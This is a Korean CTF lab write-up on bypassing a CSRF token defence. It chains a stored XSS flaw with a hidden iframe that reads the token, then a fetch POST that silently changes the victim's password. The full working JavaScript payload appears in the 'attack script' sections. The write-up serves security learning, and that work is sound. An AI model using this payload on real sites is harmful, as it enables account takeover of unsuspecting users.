CSRF 실습 문제 3
문제
- 계정의 비밀번호를 바꿔야하는 문제이다.
분석및 취약점 찾기
로그인
- 오직 POST 요청으로 만 로그인 시도가 가능하다.
- 로그인에 성공하면 index.php로 리다이렉션 응답이 온다.
게시판
- 제목과 본문에 XSS 취약점이 존재한다. 취약점 유형은 Stored XSS 이다.
- 제목
- 본문
비밀번호 변경 요청
- 비밀번호 변경 요청을 보내기 위해서는 서버에서 제공한 csrf 토큰 값이 필요하다.
- 비밀번호 변경 POST 요청을 보낼때 csrf 토큰 값도 같이 전송된다.
- csrf 토큰 값은 마이페이지에 방문하였을 때 서버에서 할당해주는 값이다.
![[Pasted image 20230525175632.png]]
- burp suite의 리피터 기능으로 referer 값을 변경하여 전송해 보았는데 비밀번호가 잘 변경되었다. 즉 referer 검사 기능은 없는것 같다.
- 정상적인 referer
- referer 변경
- 비밀번호 변경이 완료되면
index.php
로 이동한다.
비밀번호 변경 시나리오
- 공격자는 비밀번호 변경 요청 스크립트를 넣은 게시글을 작성한다.
- 사용자가 공격자 게시글을 방문하면 사용자 브라우저에서 악성 스크립트가 실행되어 비밀번호가 자동으로 변경된다.
- 사용자는 비밀번호가 변경되었다는 사실을 다시 로그인 하기 전 까지는 알 수가 없다.
공격 스크립트
CSRF Token 얻기
- 마이페이지에서 csrf 토큰을 가져와야한다.
- iframe 태그를 이용하여 csrf 토큰을 가지고오자.
<iframe style="display:none;" src="http://ctf.segfaulthub.com:7777/csrf_3/mypage.php" onload="load()"></iframe>
<script>
function load(){
var token = document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByName("csrf_token")[0].value;
alert(token);
}
</script>
비밀번호 변경 요청 보내기
- iframe로 얻은 csrf 토큰 값을 변경할 비밀번호와 같이 보내준다.
- fetch를 이용하여 POST 요청을 보내준다.
fetch("mypage_update.php", {
method:"POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "id=&info=&pw="+pw+"&csrf_token="+token
}).then(res => console.log(res.text()));
최종 공격 스크립트
- iframe을 통해 마이페이지를 가장 먼저 로딩해야 한다.
- csrf토큰을 가져온다.
- fetch 함수를 이용하여 비밀번호 변경 POST 요청을 보낸다.
<iframe style="display:none;" src="http://ctf.segfaulthub.com:7777/csrf_3/mypage.php" onload="load()"></iframe>
<script>
function load(){
var pw = "1234";
var token = document.getElementsByTagName("iframe")[0].contentWindow.document.getElementsByName("csrf_token")[0].value;
fetch("mypage_update.php", {
method:"POST",
headers: {
"Content-Type": "application/x-www-form-urlencoded"
},
body: "id=&info=&pw="+pw+"&csrf_token="+token
}).then(res => console.log(res.text()));
}
</script>
공격 시작
- 공격자는 악성 스크립트가 담긴 게시글을 작성한다.
- 게시글 저장 확인
- 사용자가 게시글을 방문하면 악성 스크립트가 실행되어 사용자의 비밀번호를 “1234”로 변경한다.
- Burp Suite로 확인하였을 때 POST 요청이 잘 되었다는 것을 확인할 수 있다.
결론
- csrf 공격을 예방하기 위하여 서버에서는 csrf 토큰을 사용하였지만 서버의 xss 취약점과 iframe 태그를 이용하여 csrf 토큰 방어법을 우회하였다.
- fetch 함수를 통해 POST 전송을 보다 쉽게할 수 있었다.
- 사용자는 정상적으로 게시글을 확인하였다고 느낀다.
댓글남기기